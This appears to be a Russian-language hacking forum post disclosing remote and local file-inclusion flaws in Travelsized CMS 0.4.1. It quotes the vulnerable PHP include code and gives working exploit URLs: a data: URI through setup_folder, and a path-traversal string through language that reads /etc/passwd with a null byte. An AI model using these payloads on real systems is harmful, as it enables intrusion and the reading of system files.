Показать сообщение отдельно

  #408  
Старый 24.06.2010, 20:37
_iks_
Познающий
Регистрация: 21.02.2009
Сообщений: 54
С нами: 9061820

Репутация: 134
По умолчанию

Travelsized CMS 0.4.1

Site: http://sourceforge.net/projects/uberghey/



RFI(rg==on):


frontpage.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$setup_folder[/COLOR][COLOR="#DD0000"]/i18n/[/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#DD0000"]/[/COLOR][COLOR="#0000BB"]$page_id[/COLOR][COLOR="#DD0000"].inc"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
Эксплуатация:

./frontpage.php?setup_folder=data:,​

LFI(mq == off):


index.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'language'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$default_language[/COLOR][COLOR="#007700"];



...



if
([/COLOR][COLOR="#0000BB"]$page_id[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {

include ([/COLOR][COLOR="#DD0000"]"frontpage.php"[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR] 
Эксплуатация:

./index.php?page_id=0&language=../../../../../../../../etc/passwd%00​// Вот здесь, я невижу где уязвимость в коде

Инклудится "frontpage.php", его код выше ^^

// Это я вижу, но причём тогда здесь language?)

$language = $_REQUEST['language'];include("$setup_folder/i18n/$language/$page_id.inc"); Может так нагляднее =)

// Теперь нормально, а так-же пользуясь случаем, передаю привет всем всем всем.
 
Ответить с цитированием